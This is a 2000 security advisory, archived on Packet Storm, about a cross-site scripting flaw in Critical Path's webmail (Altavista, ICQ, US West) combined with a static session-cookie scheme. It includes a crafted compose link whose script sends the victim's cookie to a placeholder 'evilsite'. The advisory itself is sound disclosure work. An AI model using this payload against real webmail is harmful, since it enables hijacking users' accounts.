exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Critical_Path_CSS

Critical_Path_CSS
Posted Aug 30, 2000
Authored by Jeffrey W. Baker

A simple flaw in the web mail service offered by Critical Path (www.cp.net) allows an attacker to gain full access of any webmail account. The attack falls under the umbrella of cross-site scripting, which was addressed in detail by CERT in their advisory CA-2000-02, entitled "Malicious HTML Tags Embedded in Client Web Requests." The bug is aggravated by an defective session token scheme.

tags | exploit, web, xss
SHA-256 | 89bcdeb0f24a910c4dcaa633ef6aa1a288acd34b4f9b1497078ed75916af2589

Critical_Path_CSS

Change Mirror Download

Security Advisory: Cross-site scripting vulnerability compromises accounts
on Altavista, ICQ, US West/Qwest, others

*Date

21 August 2000

*Author

Jeffrey W. Baker, email jwbaker@acm.org

*Copyright statement

This security advisory is Copyright 2000 by Jeffrey William Baker
(jwbaker@acm.org). The advisory may be distributed in whole or in part
without modification.

*Background

I was a programmer at Critical Path until 1/12/1999. I did not discover
this vulnerability as a result of any of my work there. I was not
assigned to the web mail product. I have not used any proprietary
knowledge of Critical Path's systems in investigating this problem.

This vulnerability was discovered on 17/7/2000, while I was conducting
research for a presentation at the O'Reilly Open Source Convention. The
vulnerability was first discussed by about 100 people at that conference.
Critical Path's engineering, operations, and management staffs were
contacted about the probem on 21/7/2000. They have not responded after a
generous 30 days, and the problem is still present in their production
service. Therefore the problem must be presented to the public at large.

*Synopsis

A simple flaw in the web mail service offered by Critical Path
(www.cp.net) allows an attacker to gain full access of any webmail
account. The attack falls under the umbrella of cross-site scripting,
which was addressed in detail by CERT in their advisory CA-2000-02,
entitled "Malicious HTML Tags Embedded in Client Web Requests." The bug
is aggravated by an defective session token scheme.

*Details

The attack works by tricking a legitimate web mail user into clicking on a
link while logged into the web mail system. The link exploits a
programming error in the web mail system to send the user's username and
session cookie to another site. The username and session cookie can then
be used to gain full control over the user's account.

The user is vulnerable to the attack at any time after logging in to the
webmail system, and before explicitly logging out, as long as the browser
is not restarted. After the attack, the attacker will be able to read and
delete the victim's mail, send mail as the victim, and otherwise fully
impersonate the victim any time that the victim is logged in. The
attacker will have control over the victim's account forever, even if the
victim changes his password.

Web mail authenticates users using usernames and passwords. After a
successful login, the user is given an HTTP cookie, with the name "CPWMS"
and the value of "username/hash". The hash part of the cookie is a
32-character hexidecimal value. The hash is always the same, every time
the user logs in, even if he changes his password. This session hash
problem deserves an advisory of its own, but in this advisory, it serves
to increase the severity of the vulnerability.

The cookie is sent to the browser for expiration when the browser is
closed. The cookie is valid forever. The only way to invalidate a cookie
is to explicitly log out, using the "Log out" button on the web mail user
interface. However, the cookie will immediately become valid again
whenever the user logs in again. Thus, once a sucessful attack has been
made, the attacker effectively owns the account.

The attacker must make the victim follow a link while the victim is logged
on to web mail. The link must make the victim activate the web mail
composition user interface and submit some form data. The composition
interface will then echo this input back to the user, without escaping the
HTML entities. If the submitted form data includes JavaScript commands,
the attacker can make the user's web browser send the authentication
cookie to the attacker's site, where the attacker can collect them for
use.

The best way to make sure that the victim is logged on to web mail is to
send them the link in a mail message. The web mail UI renders HTML
content in an email as HTML. Thus, the attacker could send this mail body
to a user of mail.altavista.com (ignore newlines, they are inserted for
readability):

<a href="http://mail.altavista.com/mail/compose?
contentonly=0&
send=SEND!&
to=&
subject=&
cc=&
bcc=&
include_sig=1&
body=%3C/TEXTAREA%3E%3CSCRIPT%20language=%22JavaScript%22%3E
document.location=%22http://evilsite/%22%20%2Bdocument.cookie%3B%3C
/SCRIPT%3E&id=">Click here for hot, naked teens!</a>

When the web mail app receives this request, it unescapes the query
arguments and places them inside an HTML TEXTAREA element. The unescaped
argument then closes the TEXTAREA element and inserts a JavaScript command
which is executed when the page is loaded by any web browser with
JavaScript capabilities.

When the script executes, the browser will send a request to "evilsite"
which includes the user's session cookie. The operator of evilsite will
then have full control over the user's account. In the case of
altavista.com, evilsite will also receive several cookies set by the
.altavista.com domain, which is a sort of a bonus. If the operator of
evilsite is smart, he can deliver some useful content to the victim, and
the victim may not even be aware of any problem.

The attacker would access the victim's account by placing the session
cookie in his cookies file and visiting mail.altavista.com. He could use
any capability of the account, with the exception of changing the
password. The old password must be known to change the password. This is
hardly a problem though, because the victim can change the password and
the attacker's access will be uninterrupted.

*User Impact

This bug impacts most users of Critical Path's web mail service. This
service is offered by Critical Path under many brands, including altavista
(mail.altavista.com), us west (mail.uswestmail.net), icq
(mail.icqmail.com), and etrade (mail.etrademail.com). These brands are
well-known and reported in Critical Path's press releases. Other users of
Critical Path's service can be found by inspecting the public DNS records.
Critical Path claims over 30 million users of its mail services through us
west, altavista, and icq alone.

Users of etrademail.com are not vulnerable to this attack because their
session hashes are stored in the URL, not in cookies. Other services that
use URLs instead of cookies are also immune to this particular attack.
(Users of etrademail.com have another problem in that they have no "Log
out" button at all, but that is a separate issue).

The user can defend against this bug by:

1) Turning off JavaScript in the browser. This has been suggested many
times, and it is still quite a good idea.

2) Not clicking on links from mail messages. If a user wishes to click on
a link from a web mail interface, they should bookmark the link, log out
of web mail, and then visit the bookmark.

3) Logging out of web mail. This will prevent the attacker from using the
web mail account when the victim is not using it.

4) Not using web mail. Traditional Mail User Agents, such as pine and
eudora, are not vulnerable to this style of attack. Web mail interfaces
should only be used as a last resort.

*Suggested resolution

The web mail software should escape all HTML entities that appear in user
input. No user input should ever be inserted into a response unless the
input has been properly escaped. If the input was properly escaped on
this page, the JavaScript code would appear harmlessly inside the text
input widget. User input is properly escaped in most places on the web
mail interface, but the mail composition interface is defective.

Critical Path should take a more aggressive approach to plugging security
holes. They should have responded to my offers of assistance quickly and
positively. Their millions of users could have been using a more secure
product by now.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close